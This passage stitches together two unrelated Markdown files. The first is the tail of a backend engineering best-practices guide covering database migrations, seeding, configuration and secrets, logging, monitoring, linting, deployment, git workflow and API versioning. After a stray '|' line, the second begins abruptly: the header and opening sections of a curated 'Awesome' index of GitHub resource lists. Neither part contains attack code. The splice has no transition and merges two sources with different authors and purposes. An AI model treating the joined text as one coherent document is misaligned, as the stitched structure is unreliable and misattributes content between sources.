- [The 7 critical backup strategy best practices to keep data safe](https://searchdatabackup.techtarget.com/feature/The-7-critical-backup-strategy-best-practices-to-keep-data-safe)
### Managing Schema Changes
Migrations can help for database table/schema changes:
> Database migration refers to the management of incremental, reversible changes and version control to relational database schemas. A schema migration is performed on a database whenever it is necessary to update or revert that database's schema to some newer or older version.
Source: [Wiki](https://en.wikipedia.org/wiki/Schema_migration)
Migrations can be written manually or generated automatically every time database table schema is changed. When pushed to production it can be launched automatically.
**BE CAREFUL** not to drop some columns/tables that contain data by accident. Perform data migrations before table schema migrations and always backup database before doing anything.
Examples:
- [Typeorm Migrations](https://github.com/typeorm/typeorm/blob/master/docs/migrations.md) - can automatically generate sql table schema migrations like this: [1611765824842-CreateTables.ts](https://github.com/Sairyss/domain-driven-hexagon/blob/7feca5cf992b47f3f28ccb1e9da5df0130f6d7ec/src/infrastructure/database/migrations/1631645442017-CreateTables.ts)
- Or you could create raw SQL queries like this: [2022.10.07T13.49.19.users.sql](https://github.com/Sairyss/domain-driven-hexagon/blob/master/database/migrations/2022.10.07T13.49.19.users.sql)
Read more:
- [What are database migrations?](https://www.prisma.io/dataguide/types/relational/what-are-database-migrations#what-are-the-advantages-of-migration-tools)
- [Database Migration: What It Is and How to Do It](https://www.cloudbees.com/blog/database-migration)
### Data Seeding
To avoid manually creating data in the database, [seeding](https://en.wikipedia.org/wiki/Database_seeding) is a great solution to populate database with data for development and testing purposes.
Example packages for nodejs:
- [typeorm-seeding](https://www.npmjs.com/package/typeorm-seeding#-using-entity-factory) - seeder for TypeORM
- [faker.js](https://github.com/faker-js/faker) - generate mock data
Example file: [user.seeds.ts](https://github.com/Sairyss/domain-driven-hexagon/blob/7feca5cf992b47f3f28ccb1e9da5df0130f6d7ec/src/modules/user/database/seeding/user.seeds.ts)
Read more:
- [Seed hundreds of dummy data using faker.js](https://bryanryu.medium.com/seed-hundreds-of-dummy-data-using-faker-js-ff0f05fb0e5b)
## Configuration
- Store all configurable variables/parameters in config files. Try to avoid using in-line literals/primitives. This will make it easier to find and maintain all configurable parameters when they are in one place.
- Never store sensitive configuration variables (passwords/API keys/secret keys etc) in plain text in a configuration files or source code.
- Store sensitive configuration variables, or variables that change depending on environment, as [environment variables](https://en.wikipedia.org/wiki/Environment_variable) ([dotenv](https://www.npmjs.com/package/dotenv) is a nice package for that) or as a [Docker/Kubernetes secrets](https://www.bogotobogo.com/DevOps/Docker/Docker_Kubernetes_Secrets.php).
- Create hierarchical config files that are grouped into sections. If possible, create multiple files for different configs (like database config, API config, tasks config etc).
- Application should fail and provide the immediate feedback if the required environment variables are not present at start-up. [env-var](https://www.npmjs.com/package/env-var) is a nice package for nodejs that can take care of that.
- For most projects plain object configs may be enough, but there are other options, for example: [NestJS Configuration](https://docs.nestjs.com/techniques/configuration), [rc](https://www.npmjs.com/package/rc), [nconf](https://www.npmjs.com/package/nconf) or any other package.
Example files:
- [database.config.ts](https://github.com/Sairyss/domain-driven-hexagon/blob/master/src/configs/database.config.ts) - database config that uses environmental variables and also validates them
- [.env.example](https://github.com/Sairyss/domain-driven-hexagon/blob/master/.env.example) - this is [dotenv](https://www.npmjs.com/package/dotenv) example file. This file should only store dummy example secret keys, never store actual development/production secrets in it. This file later is renamed to `.env` and populated with real keys for every environment (local, dev or prod). Don't forget to add `.env` to [.gitignore](https://github.com/Sairyss/domain-driven-hexagon/blob/master/.gitignore) file to avoid pushing it to repo and leaking all keys.
## Logging
- Try to log all meaningful events in a program that can be useful to anybody in your team.
- Use proper log levels: `log`/`info` for events that are meaningful during production, `debug` for events useful while developing/debugging, and `warn`/`error` for unwanted behavior on any stage.
- Write meaningful log messages and include metadata that may be useful. Try to avoid cryptic messages that only you understand.
- Never log sensitive data: passwords, emails, credit card numbers etc. since this data will end up in log files. If log files are not stored securely this data can be leaked.
- Parse your logs and remove all potentially sensitive data to prevent accidental leaks. For example, you can iterate over logged values and remove anything that has a "secret" or "password" or similar keys in it.
- Avoid default logging tools (like `console.log`). Use mature logger libraries (for example [Winston](https://www.npmjs.com/package/winston)) that support features like enabling/disabling log levels, convenient log formats that are easy to parse (like JSON) etc.
- Consider including user id in logs. It will facilitate investigating if user creates an incident ticket.
- In distributed systems a gateway (or a client) can generate an unique correlation id for each request and pass it to every system that processes this request. Logging this id will make it easier to find related logs across different systems/files. You can also use a causation id to determine a correct ordering of the events that happen in your system. Read more: [Correlation id and causation id in evented systems](https://blog.arkency.com/correlation-id-and-causation-id-in-evented-systems/)
- Use consistent structure across all logs. Each log line should represent one single event and can contain things like a timestamp, context, unique user id or correlation id and/or id of an entity/aggregate that is being modified, as well as additional metadata if required.
- Use log managements systems. This will allow you to track and analyze logs as they happen in real-time. Here are some short list of log managers: [Sentry](https://sentry.io/for/node/), [Loggly](https://www.loggly.com/), [Logstash](https://www.elastic.co/logstash), [Splunk](https://www.splunk.com/) etc.
- Send notifications of important events that happen in production to a corporate chat like Slack or even by SMS.
- Don't write logs to a file or to the cloud provider from your program. Write all logs to [stdout](https://www.computerhope.com/jargon/s/stdout.htm) and let other tools handle writing logs to cloud or file (for example [docker supports writing logs to a file](https://docs.docker.com/config/containers/logging/configure/)). Read more: [Why should your Node.js application not handle log routing?](https://www.coreycleary.me/why-should-your-node-js-application-not-handle-log-routing/)
- Logging operation can affect performance, especially when you transform your logs (for example to remove sensitive data). You can delegate log parsing and transforming to a separate process. For example, [Pino logger supports this](https://github.com/pinojs/pino/blob/master/docs/transports.md).
- Instead of sending your logs to `stdout`, alternatively you could send them to your [sidecar](https://learn.microsoft.com/en-us/azure/architecture/patterns/sidecar) (running in the same container) that will handle log parsing, transformations, and batch sending them somewhere else.
- Logs can be visualized by using a tool like [Kibana](https://www.elastic.co/kibana).
Read more:
- [Make your app transparent using smart logs](https://github.com/goldbergyoni/nodebestpractices/blob/master/sections/production/smartlogging.md)
## Monitoring
Monitoring is the process to gather metrics about the operations of an IT environment's hardware and software to ensure everything functions as expected.
Additionally, to logging tools, when something unexpected happens in production, it's critical to have thorough monitoring in place. As software hardens more and more, unexpected events will get more and more infrequent and reproducing those events will become harder and harder. So when one of those unexpected events happens, there should be as much data available about the event as possible. Software should be designed from the start to be monitored. Monitoring aspects of software are almost as important as the functionality of the software itself, especially in big systems, since unexpected events can lead to money and reputation loss for a company. Monitoring helps fix and sometimes preventing unexpected behavior like failures, slow response times, errors etc.
Health monitoring tools are a good way to keep track of system performance, identify causes of crashes or downtime, monitor behavior, availability and load.
Some health monitoring tools already include logging management and error tracking, as well as alerts and general performance monitoring.
Here are some basic recommendation on what can be monitored:
- Connectivity – Verify if user can successfully send a request to the API endpoint and get a response with expected HTTP status code. This will confirm if the API endpoint is up and running. This can be achieved by creating some kind of 'heath check' endpoint.
- Performance – Make sure the response time of the API is within acceptable limits. Long response times cause bad user experience.
- Error rate – errors immediately affect your customers, you need to know when errors happen right away and fix them.
- CPU and Memory usage – spikes in CPU and Memory usage can indicate that there are problems in your system, for example bad optimized code, unwanted process running, memory leaks etc. This can result in loss of money for your organization, especially when cloud providers are used.
- Storage usage – servers run out of storage. Monitoring storage usage is essential to avoid data loss.
- Monitor your backend and any 3rd party services that your backend use, monitor databases, kubernetes clusters etc. to ensure that everything in a system works as intended.
Choose health monitoring tools depending on your needs, here are some examples:
- [Sematext](https://sematext.com/), [AppSignal](https://appsignal.com/), [Prometheus](https://prometheus.io/), [Checkly](https://www.checklyhq.com/), [ClinicJS](https://clinicjs.org/)
- [OpenTelemetry](https://opentelemetry.io/) - a collection of tools, APIs, and SDKs to instrument, generate, collect, and export telemetry data (metrics, logs, and traces).
Read more:
- [Essential Guide to API Monitoring: Basics Metrics & Choosing the Best Tools](https://sematext.com/blog/api-monitoring/)
- [DevOps measurement: Monitoring and observability](https://cloud.google.com/architecture/devops/devops-measurement-monitoring-and-observability)
## Standardization
[Standardization](https://en.wikipedia.org/wiki/Standardization) is the process of implementing and developing technical standards based on the consensus of different parties.
Define and agree on standards in the development process, for example:
- Tech stack and tools
- Architectural practices, code style and formatting tools
- Create reusable software objects and interfaces for common procedures
- Enforce naming conventions
- Define API response structure
- Standard way of handling pagination of resources
- Standardize protocols and schemas that will be used for communication between multiple systems
- Error handling
- Versioning of your app, libraries, endpoints, schemas, etc
- Documentation
- Standard ways to report health, errors, monitoring statistics, etc
- Standard ways of logging and a place where those logs will be aggregated
- etc.
Standards help enforce best practices and simplify both the development process and code.
Create documents that describe your standards and enforce them as much as you can. Ideally there should be only one way of doing a common task. If you don't have standards everybody in the team will be doing things differently and your system will be a mess.
Read more:
- [6 Reasons Standardizing Your Software Is Essential](https://www.gonitro.com/blog/6-reasons-standardizing-software-essential)
## Static Code Analysis
> Static code analysis is a method of debugging by examining source code before a program is run.
For JavasScript and TypeScript, [Eslint](https://www.npmjs.com/package/eslint) with [typescript-eslint plugin](https://www.npmjs.com/package/@typescript-eslint/eslint-plugin) and some rules (like [airbnb](https://www.npmjs.com/package/eslint-config-airbnb) / [airbnb-typescript](https://www.npmjs.com/package/eslint-config-airbnb-typescript)) can be a great tool to enforce writing better code.
Try to make linter rules reasonably strict, this will help greatly to avoid "shooting yourself in a foot". Strict linter rules can prevent bugs and even serious security holes ([eslint-plugin-security](https://www.npmjs.com/package/eslint-plugin-security)).
> **Adopt programming habits that constrain you, to help you to limit mistakes**.
For example:
Using _explicit_ `any` type is a bad practice. Consider disallowing it (and other things that may cause problems):
```javascript
// .eslintrc.js file
rules: {
'@typescript-eslint/no-explicit-any': 'error',
// ...
}
```
Also, enabling strict mode in `tsconfig.json` is recommended, this will disallow things like _implicit_ `any` types:
```json
"compilerOptions": {
"strict": true,
// ...
}
```
Example file: [.eslintrc.js](https://github.com/Sairyss/domain-driven-hexagon/blob/master/.eslintrc.js)
[Code Spell Checker](https://marketplace.visualstudio.com/items?itemName=streetsidesoftware.code-spell-checker) may be a good addition to eslint.
Read more:
- [What Is Static Analysis?](https://www.perforce.com/blog/sca/what-static-analysis)
- [Controlling Type Checking Strictness in TypeScript](https://www.carlrippon.com/controlling-type-checking-strictness-in-typescript/)
## Code formatting
The way code looks adds to our understanding of it. Good style makes reading code a pleasurable and consistent experience.
Consider using code formatters like [Prettier](https://www.npmjs.com/package/prettier) to maintain same code styles in the project.
Read more:
- [Why Coding Style Matters](https://www.smashingmagazine.com/2012/10/why-coding-style-matters/)
## Shut down gracefully
When you shut down your application you may interrupt all operations that are running at that time and lose data. Unless you gracefully shut down your app.
Shutting down gracefully means when you send a termination signal to your app, it should (if it's a web server):
- Stop all new requests from clients
- Wait until all current requests finish executing
- Close server connections, like connection to a database, external APIs, etc.
- Exit
This way you are not interrupting running operations and prevent a lot of related problems.
Read more:
- [Graceful shutdown in NodeJS](https://hackernoon.com/graceful-shutdown-in-nodejs-2f8f59d1c357)
- [Graceful shutdown in Go http server](https://medium.com/honestbee-tw-engineer/gracefully-shutdown-in-go-http-server-5f5e6b83da5a)
## Profiling
[Profiling](<https://en.wikipedia.org/wiki/Profiling_(computer_programming)>) allows us to collect and analyze data on how functions in your code perform when executed. This can help us with identifying bottlenecks in our code and fix them to make application perform faster.
Here are some examples for NodeJS:
- [Using the inbuilt Node.js profiler](https://blog.logrocket.com/using-inbuilt-node-js-profiler/)
- [How to Automate Performance Profiling in Node.js](https://blog.bitsrc.io/how-to-automate-performance-profiling-in-nodejs-57524b8f763f?gi=740cbc9f20c6)
## Benchmarking
To make sure that your optimizations are working and system run fast, consider using [benchmarking](<https://en.wikipedia.org/wiki/Benchmark_(computing)>) tools to analyze execution times and performance of your backend, apps, scripts, jobs, etc.
Read more:
- [hyperfine](https://github.com/sharkdp/hyperfine) - A command-line benchmarking tool.
- [How to Perform Web Server Performance Benchmark?](https://geekflare.com/web-performance-benchmark/)
## Make application easy to setup
There are a lot of projects out there which take effort to configure after downloading it. Everything has to be set up manually: database, all configs etc. If new developer joins the team he has to waste a lot of time just to make application work.
This is a bad practice and should be avoided. Setting up project after downloading it should be as easy as launching one or few commands in terminal. Consider adding scripts to do this automatically:
- [package.json scripts](https://krishankantsinghal.medium.com/scripting-inside-package-json-4b06bea74c0e)
- [docker-compose file](https://docs.docker.com/compose/)
- [Makefile](https://opensource.com/article/18/8/what-how-makefile)
- Database seeding and migrations
- or any other tools.
Example files:
- [package.json](https://github.com/Sairyss/domain-driven-hexagon/blob/master/package.json) - notice all added scripts for launching tests, migrations, seeding, docker environment etc.
- [docker-compose.yml](https://github.com/Sairyss/domain-driven-hexagon/blob/master/docker/docker-compose.yml) - after configuring everything in a docker-compose file, running a database and a db admin panel (and any other additional tools) can be done using only one command. This way there is no need to install and configure a database separately.
## Deployment
Automate your deployment process. [CI/CD](https://en.wikipedia.org/wiki/CI/CD) tools can help with that.
Deployment automation reduces errors, speeds up deployments, creates a smooth path to deliver updates and upgrades on a regular basis. The process becomes very easy, just pushing your changes to a repository can trigger a build and deploy process automatically so you don't have to do anything else.
During deployment execute your e2e tests, load/fuzz tests, static code analysis checks, check for vulnerabilities in your packages etc. and stop a deploy process if anything fails. This prevents deploying failing or insecure code to production and makes your application robust and secure.
Read more:
- [8 Best Practices for Agile Software Deployment](https://stackify.com/deployment-best-practices/)
- [CI/CD Best Practices for DevOps Teams](https://harness.io/blog/ci-cd-best-practices/)
### Blue-Green Deployment
[Blue-green deployment](https://en.wikipedia.org/wiki/Blue-green_deployment) is a release strategy that proposes the use of two servers: "green" and "blue". When deploying, the new build is deployed to one of the servers ("green"). When build is finished, requests are routed to a new build ("green" server), while maintaining an old version of your program ("blue") running. If a "green" server has some bugs or doesn't work properly, you can easily switch back to a "blue" server with zero downtime. This allows to quickly roll back to a previous version if anything goes wrong by simply routing traffic back to a "blue" server with previous version of your program.
Read more:
- [BlueGreenDeployment](https://martinfowler.com/bliki/BlueGreenDeployment.html)
- [What is Blue Green Deployment?](https://www.opsmx.com/blog/blue-green-deployment/)
- [Intro to Deployment Strategies: Blue-Green, Canary, and More](https://harness.io/blog/blue-green-canary-deployment-strategies/)
## Code Generation
Code generation can be important when using complex architectures to avoid typing boilerplate code manually.
[Hygen](https://www.npmjs.com/package/hygen) is a great example.
This tool can generate building blocks (or entire modules) by using custom templates. Templates can be designed to follow best practices and concepts based on Clean/Hexagonal Architecture, DDD, SOLID etc.
Main advantages of automatic code generation are:
- Avoid manual typing or copy-pasting of boilerplate code.
- No hand-coding means less errors and faster implementations. Simple CRUD module can be generated and used right away in seconds without any manual code writing.
- Using auto-generated code templates ensures that everyone in the team uses the same folder/file structures, name conventions, architectural and code styles.
**Notes**:
- To really understand and work with generated templates you need to understand what is being generated and why, so full understanding of an architecture and patterns used is required.
- Don't try to implement code generation on early stages of development. At early stages your application architecture will change a lot adapting to new requirements, meaning that your code generation templates have to change too. Do it only when your project matures and becomes more stable.
## Version Control
Make sure you are using version control systems like [git](https://git-scm.com/). Version control systems can track changes you make to files, so you have a record of what has been done, and you can revert to specific versions should you ever need to. It will also help coordinating work among programmers allowing changes by multiple people to all be merged into one source.
Below are some good practices to use together with git.
### Pre-push/pre-commit hooks
Consider launching tests/code formatting/linting every time you do `git push` or `git commit`. This prevents bad code getting in your repo. [Husky](https://www.npmjs.com/package/husky) is a great tool for that.
Read more:
- [Git Hooks](https://githooks.com/)
### Conventional commits
Conventional commits add some useful prefixes to your commit messages, for example:
- `feat: added ability to delete user's profile`
This creates a common language that makes easier communicating the nature of changes to teammates and also may be useful for automatic package versioning and release notes generation.
Read more:
- [conventionalcommits.org](https://www.conventionalcommits.org/en/v1.0.0-beta.2/)
- [Semantic Commit Messages](https://gist.github.com/joshbuchea/6f47e86d2510bce28f8e7f42ae84c716)
- [Commitlint](https://github.com/conventional-changelog/commitlint)
- [Semantic release](https://github.com/semantic-release/semantic-release)
## API Versioning
API versioning is the practice of transparently managing changes to your API.
API versioning allows you to incorporate the latest changes in a new version of your API thereby still allowing users to have access to the older version of your API without breaking your users application.
If you need to create a new version of an endpoint, a simple solution would be to create new version of [DTOs](https://github.com/Sairyss/domain-driven-hexagon#DTOs) and a URL like this: `/v2/users`. Keep old version of an endpoint running for backwards compatibility until your users fully migrate to a new version.
Creating a new version of an endpoint instead of modifying an old one protects users of your API from breaking their app.
**Note**: if the only user of your API is your own frontend that can change on demand API versioning may be not worth it.
If you are using [GraphQL](https://graphql.org/), you can use a [@deprecated](https://dgraph.io/docs/graphql/schema/deprecated/) directive on a field.
For versioning packages, libraries, SDKs etc. you can use [semantic versioning](https://semver.org/).
Example files:
- [app.routes.ts](https://github.com/Sairyss/domain-driven-hexagon/blob/master/src/configs/app.routes.ts) - file that contains routes with its version.
Read more:
- [How to Version a REST API](https://www.freecodecamp.org/news/how-to-version-a-rest-api/)
# Additional resources
## Github Repositories
- [Node.js Best Practices](https://github.com/goldbergyoni/nodebestpractices)
|
<div align="center">
<img width="500" height="350" src="media/logo.svg" alt="Awesome">
<br>
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<br>
<p>
<p>
<sup>
<a href="https://github.com/sponsors/sindresorhus">My open source work is supported by the community</a>
</sup>
</p>
<sup>Special thanks to:</sup>
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<img src="https://sindresorhus.com/assets/thanks/standard-resume-logo.svg" width="160"/>
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<a href="awesome.md">What is an awesome list?</a>
<a href="contributing.md">Contribution guide</a>
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<b>Follow the <a href="https://twitter.com/awesome__re">Awesome Twitter account</a> for updates on new list additions.</b>
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<br>
## Contents
- [Platforms](#platforms)
- [Programming Languages](#programming-languages)
- [Front-End Development](#front-end-development)
- [Back-End Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Development Environment](#development-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Media](#media)
- [Learn](#learn)
- [Security](#security)
- [Content Management Systems](#content-management-systems)
- [Hardware](#hardware)
- [Business](#business)
- [Work](#work)
- [Networking](#networking)
- [Decentralized Systems](#decentralized-systems)
- [Higher Education](#higher-education)
- [Events](#events)
- [Testing](#testing)
- [Miscellaneous](#miscellaneous)
- [Related](#related)
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine.
- [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js.
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme)
- [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets.
- [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google.
- [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme)
- [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS.
- [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps.
- [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android.
- [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution.
- [Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme)
- [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme)
- [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems.
- [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux.
- [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers.
- [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme)
- [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme)
- [Apps](https://github.com/jaywcjlove/awesome-mac#readme)
- [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme)
- [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch.
- [JVM](https://github.com/deephacks/awesome-jvm#readme)
- [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme)
- [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme)
- [Windows](https://github.com/Awesome-Windows/Awesome#readme)
- [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol.
- [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools.
- [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service.
- [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more.
- [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework.
- [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system.
- [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby.
- [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms.
- [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux.
- [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience.
- [.NET](https://github.com/quozd/awesome-dotnet#readme)
- [Core](https://github.com/thangchung/awesome-dotnet-core#readme)
- [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages.
- [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant.
- [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers.
- [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart.
- [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first.
- [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies.
- [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform.
- [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps.
- [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device.
- [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site.
- [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant.
- [ESP](https://github.com/agucova/awesome-esp#readme) - Low-cost microcontrollers with WiFi and broad IoT applications.
- [Deno](https://github.com/denolib/awesome-deno#readme) - A secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust.
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript#readme)
- [Promises](https://github.com/wbinnssmith/awesome-promises#readme)
- [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter.
- [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme)
- [Tips](https://github.com/loverajoel/jstips#readme)
- [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme)
- [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme)
- [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist.
- [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages.
- [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager.
- [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner.
- [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter.
- [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme)
- [Observables](https://github.com/sindresorhus/awesome-observables#readme)
- [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner.
- [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds.
- [Ponyfills](https://github.com/Richienb/awesome-ponyfills#readme) - Like polyfills but without overriding native APIs.
- [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast.
- [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme)
- [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme)
- [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability.
- [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3.
- [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music.
- [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers.
- [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning.
- [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python.
- [MicroPython](https://github.com/mcauser/awesome-micropython#readme) - A lean and efficient implementation of Python 3 for microcontrollers.
- [Rust](https://github.com/rust-unofficial/awesome-rust#readme)
- [Haskell](https://github.com/krispo/awesome-haskell#readme)
- [PureScript](https://github.com/passy/awesome-purescript#readme)
- [Go](https://github.com/avelino/awesome-go#readme)
- [Scala](https://github.com/lauris/awesome-scala#readme)
- [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM.
- [Ruby](https://github.com/markets/awesome-ruby#readme)
- [Clojure](https://github.com/razum2um/awesome-clojure#readme)
- [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme)
- [Elixir](https://github.com/h4cc/awesome-elixir#readme)
- [Elm](https://github.com/sporto/awesome-elm#readme)
- [Erlang](https://github.com/drobakowski/awesome-erlang#readme)
- [Julia](https://github.com/svaksha/Julia.jl#readme) - High-level dynamic programming language designed to address the needs of high-performance numerical analysis and computational science.
- [Lua](https://github.com/LewisJEllis/awesome-lua#readme)
- [C](https://github.com/aleksandar-todorovic/awesome-c#readme)
- [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software.
- [R](https://github.com/qinwf/awesome-R#readme) - Functional programming language and environment for statistical computing and graphics.
- [Learning](https://github.com/iamericfletcher/awesome-r-learning-resources#readme)
- [D](https://github.com/zhaopuming/awesome-d#readme)
- [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development.
- [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme)
- [Perl](https://github.com/hachiojipm/awesome-perl#readme)
- [Groovy](https://github.com/kdabir/awesome-groovy#readme)
- [Dart](https://github.com/yissachar/awesome-dart#readme)
- [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere".
- [RxJava](https://github.com/eleventigers/awesome-rxjava#readme)
- [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme)
- [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme)
- [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme)
- [Fortran](https://github.com/rabbiabram/awesome-fortran#readme)
- [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language.
- [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager.
- [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme)
- [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme)
- [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme)
- [Crystal](https://github.com/veelenga/awesome-crystal#readme)
- [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM.
- [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software.
- [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR.
- [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM.
- [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML.
- [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential.
- [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms.
- [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript.
- [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code.
- [Coq](https://github.com/coq-community/awesome-coq#readme) - Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs.
- [V](https://github.com/vlang/awesome-v#readme) - Simple, fast, safe, compiled language for developing maintainable software.
## Front-End Development
- [ES6 Tools](https://github.com/addyosmani/es6-tools#readme)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme)
- [Web Tools](https://github.com/lvwzhen/tools#readme)
- [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen.
- [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme)
- [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme)
- [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme)
- [Protips](https://github.com/AllThingsSmitty/css-protips#readme)
- [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme)
- [React](https://github.com/enaqx/awesome-react#readme) - App framework.
- [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps.
- [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class.
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme)
- [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components.
- [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework.
